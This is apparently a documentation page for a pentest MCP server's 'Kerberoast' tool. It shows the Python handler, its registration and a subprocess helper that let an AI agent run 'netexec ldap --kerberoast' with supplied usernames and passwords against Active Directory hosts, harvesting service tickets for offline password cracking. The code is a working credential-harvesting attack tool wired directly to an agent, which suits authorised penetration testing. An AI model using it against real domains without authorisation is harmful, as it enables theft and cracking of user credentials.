Kerberoast

Instructions

Implementation Reference

• src/pentestmcp/server.py:246-252 (handler)

  The handler function for the 'Kerberoast' tool. It prepends the project directory to the output_file path and executes netexec ldap with the --kerberoast option, providing usernames and optional passwords to harvest TGS tickets for offline cracking.

  @mcp.tool(name="Kerberoast",description="The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets is encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline.")
  def kerberoast(ips:List[str],usernames,passwords,output_file:str):
      output_file=config.PROJECT_DIRECTORY+output_file
      if len(passwords)>0:
          return run_command(["netexec","ldap"]+ips+["-u",usernames,"-p",passwords,"--kerberoast",output_file])
  
      return run_command(["netexec","ldap"]+ips+["-u",usernames,"--kerberoast",output_file])

• src/pentestmcp/server.py:246-246 (registration)

  The @mcp.tool decorator registers the 'kerberoast' function as the 'Kerberoast' tool with MCP, including its description.

  @mcp.tool(name="Kerberoast",description="The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets is encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline.")

• src/pentestmcp/server.py:28-85 (helper)

  The run_command helper function used by the Kerberoast handler to execute the netexec command and handle its output, errors, and timeouts.

  def run_command(command: List[str], timeout: int = 150,communicate:bool=False) -> Dict[str, Union[str, int, bool]]:
      try:
          logger.info(f"communicate :{communicate}")
          logger.info(f"Running command: {' '.join(command)}")
          if communicate:
              # Use Popen for interactive communication
              process = subprocess.Popen(
                  command,
                  stdout=subprocess.PIPE,
                  stderr=subprocess.PIPE,
                  stdin=subprocess.PIPE,
                  text=True
              )
              stdout, stderr = process.communicate(input="y\n", timeout=timeout)
              returncode = process.returncode
          else:
              # Use run for non-interactive commands
              result = subprocess.run(
                  command,
                  stdout=subprocess.PIPE,
                  stderr=subprocess.PIPE,
                  text=True,
                  check=True,
                  timeout=timeout
              )
              stdout = result.stdout
              stderr = result.stderr
              returncode = result.returncode
  
          logger.info(f"Command completed with return code {returncode}")
          return {
              "success": True,
              "stdout": stdout,
              "stderr": stderr,
              "returncode": returncode
          }
          
      except subprocess.CalledProcessError as e:
          logger.error(f"Command failed with return code {e.returncode}: {e.stderr}")
          return {
              "success": False,
              "stdout": e.stdout,
              "stderr": e.stderr,
              "returncode": e.returncode,
              "error": f"Command failed with return code {e.returncode}"
          }
      except subprocess.TimeoutExpired as e:
          logger.error(f"Command timed out after {timeout} seconds")
          return {
              "success": False,
              "error": f"Command timed out after {timeout} seconds"
          }
      except Exception as e:
          logger.error(f"Error running command: {str(e)}")
          return {
              "success": False,
              "error": str(e)
          }